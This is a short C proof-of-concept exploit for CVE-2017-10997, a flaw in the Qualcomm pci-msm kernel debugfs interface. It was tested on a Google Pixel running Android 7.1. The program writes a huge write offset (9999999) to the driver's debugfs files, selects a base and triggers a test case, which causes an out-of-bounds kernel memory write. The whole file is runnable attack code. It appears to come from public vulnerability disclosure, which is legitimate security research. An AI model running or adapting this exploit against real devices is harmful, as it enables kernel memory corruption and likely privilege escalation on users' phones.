/*
 * https://code.google.com/p/android/issues/detail?id=228260 
 * https://issuetracker.google.com/issues/37127518
 *  CVE-2017-10997
 * The poc was tested in pixel, google/sailfish/sailfish:7.1/NDE63L/3273814:user/release-keys
 * chengjia4574@gmail.com ,  20161221
*/
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <asm/ioctl.h>

char *pci_msm_path = "/sys/kernel/debug//pci-msm/";

#define SIZE 64

int write_file(int fd, char *str)
{
	int ret;
	ret = write(fd, str, SIZE);
	if(ret<0) {
		printf("write fail %s\n",strerror(errno));
	} else printf("succ write %d byte\n",ret);
	return 0;
}

int open_file(char* filename)
{
	int fd;
	char file[125] = {0};

	sprintf(file, "%s%s", pci_msm_path, filename);

	fd = open(file, O_RDWR);
	if(fd<0) {
		printf("open %s fail %s\n",file, strerror(errno));
		exit(1);
	}
	printf("open %s succ\n",file);
	
	return fd;
}

void set_aer_enable()
{
	int fd;
	char buf[SIZE] = {0};

	fd = open_file("aer_enable");

	write_file(fd,buf);	

	close(fd);

}

void set_wr_offset()
{
	int fd;
	char buf[SIZE] = {0};

	fd = open_file("wr_offset");

	sprintf(buf,"%s","9999999");

	write_file(fd,buf);	

	close(fd);
}

void set_test_case()
{
	int fd;
	char buf[SIZE] = {0};
	buf[0] = '1';
	buf[1] = '2';

	fd = open_file("case");

	write_file(fd,buf);	

	close(fd);
}

void set_base_sel()
{
	int fd;
	char buf[SIZE] = {0};
	buf[0] = '1';

	fd = open_file("base_sel");

	write_file(fd,buf);	

	close(fd);
}

	int
main(int argc, char *argv[])
{
	set_wr_offset();
	set_base_sel();
	set_test_case();
	return 0;
}
